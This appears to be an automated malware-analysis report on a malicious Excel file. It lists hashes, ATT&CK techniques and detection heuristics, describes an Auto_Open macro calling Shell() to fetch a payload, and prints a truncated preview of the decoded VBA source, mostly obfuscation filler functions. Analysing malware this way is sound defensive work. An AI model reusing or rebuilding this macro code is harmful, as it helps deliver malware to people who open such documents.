Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac6a40c3083de464…

MALICIOUS

Office (OLE)

128.5 KB Created: 2016-12-11 23:43:08 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: af3a2a3acffb10d9390730edd34dadfe SHA-1: 7fa7c8229fe73612f630b5aba6cfad2fd19ce6ae SHA-256: ac6a40c3083de464073c36c86a1f09183ef001bf4322f1034b37316382355f91
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The file is an Excel document containing a VBA macro with an Auto_Open function. This macro utilizes the Shell() function, a critical indicator of malicious activity, to execute code. The presence of a large, encoded blob within the VBA code suggests it is designed to download and execute a secondary payload. The ClamAV signature 'Xls.Malware.Agent-5969480-0' further confirms its malicious nature.

Heuristics 6

  • ClamAV: Xls.Malware.Agent-5969480-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Agent-5969480-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87529 bytes
SHA-256: c7e8bd31eb0968aff17d3fea48398f3414cbb9c7ad03553f5c1bb1b1d60c08b2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 174 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function abdecn3(bgegikbu, ittivda, nlafogwa)
bgegikbu = "imoztapxysapydhyloricofbizgatbitmejapabsafnumxuvtahxywrebomajaltepxisjimekgiwoxalgujtazawnewnavubhywjuveqykcoferinzytsozpuwnysdeqrubyhqyfybtuprenalticdawluzbi"
bqoqmu = ittivda
abdecn3 = bqoqmu
End Function
Function otfekolh4(ykbaveh, bafxiv, odexa)
ykbaveh = "gwusyzpipotnejuxvujugolmofnidusimysejecesojlabsyccoljevhyncydwaqoxasarpygsacrinyqsoqrejekilfocivowfesakydmetozbalhojydlopujurotcewuvvyhgiphirzuryldebafabbyzqazygjohhegsizizofpolico"
yzutot = bafxiv
otfekolh4 = yzutot
End Function
Function ufbaz(ipmann, wyxe, itmint)
ipmann = "lfesorevzyxhonycqakoricodigcawbyxdeqastydotboqtyqgafxupowubqopvyjuwoqnutuxruhjedatojmutirbipajwopevozudocywjexyjilzenitrucunupwisucukahmuterb"
tykoz = wyxe
ufbaz = tykoz
End Function
Function iwatpyjg(eryf, edvufc, ukaz)
eryf = "ixigtehiqutoluryxhahaqmocujxajrimzyqdodnyxapuctupduwdivusuvjivjaljebivhocgupalidhosobolyqyqtasaneqezagpackylkobpokryvedhesehijlakr"
kebsir = edvufc
iwatpyjg = kebsir
End Function
Function nmejepy(qzixfuqy, roviky, ugafxe)
qzixfuqy = "svuhmilsowmeveddedycfivcuqcabormuvycqavisyxetilypadyqpalabdupcomnyhgaggemikalnecevfetsipevjinobakfirqexwoboszehupacudwabnedpimamogqewzucywlonfumicynabuhevfiqpiludjyklenfufawodaj"
kxyxge = roviky
nmejepy = kxyxge
End Function
Function awygw4(idegi, ejazme, edeb)
idegi = "fopsywcefputkisowudzowylodibnertenutlejylwitjaxakaxepzenwijoqpimugdycamcajyjdubdasohzatvytjyckyserokinogfidpekgupuqdywcuqxyciprugumsanfe"
uzvaxyhc = ejazme
awygw4 = uzvaxyhc
End Function
Function hcesguhg2(oxxyson, ppumwem, rhecropnu)
oxxyson = "itupkowadavrixrikaxquwfazzepiqosekojjereqyksakaqidrobjysobzaqihhozrytihexyzfyxixihavjyzyxejjamcibugolmatdilhyganywbecuckuzimlinuzcuhuvrirqaksynfuxfikygyzetzikazajwukyhtydkipi"
somnesne = ppumwem
hcesguhg2 = somnesne
End Function
Function osywysg4(bypgoqk, annyvy, wazo)
bypgoqk = "omnoteknyqpamimqynbysjygiwmocabpeqjajpocacokpebditnodqigyjxynfylbelubvujnajfinsobowawoxwasunivzahgesxoxbacjubqoxejvereliqipynyjaburiqsippevihxedxolotuvne"
adagkaz = annyvy
osywysg4 = adagkaz
End Function
Function zefmo6(fecbygx, aqunhaz, ujyzxe)
fecbygx = "adykxybitabfuqdulturytbybvetryruguxubomjuzroskofxupqekodzibnibuzsimefxaqahhytmuzqubutpibyfvawexwavujlubocjewseshakgizhilekqaxergycvusivxaho"
okhyxfo = aqunhaz
zefmo6 = okhyxfo
End Function
Function ilbyxb(olylm, igyc, azkosly)
olylm = "skatagirywyzhevekututfijijmanvusqyxdulhamydratissinwuvisfyzperonlunexgupqejivibezvemubduraqehwijyrrirqomvynwyqdihzyhusdovfawsafzinifynonotkemyjavyznebhoj"
owepr = igyc
ilbyxb = owepr
End Function
Function tonwy0(ibsecvy, qmele, ifwakoz)
ibsecvy = "cmepbuvlequvqafehevoxebuvjozlysollorutbuwitqekvomgofwovcamucowyguvxotegnorilhyrjilzawapwenovijyblirekqibijevyfirqidutuffefopuxy"
mnuni = qmele
tonwy0 = mnuni
End Function
Function elyb(oskukgy, ywjujde, ice
... (truncated)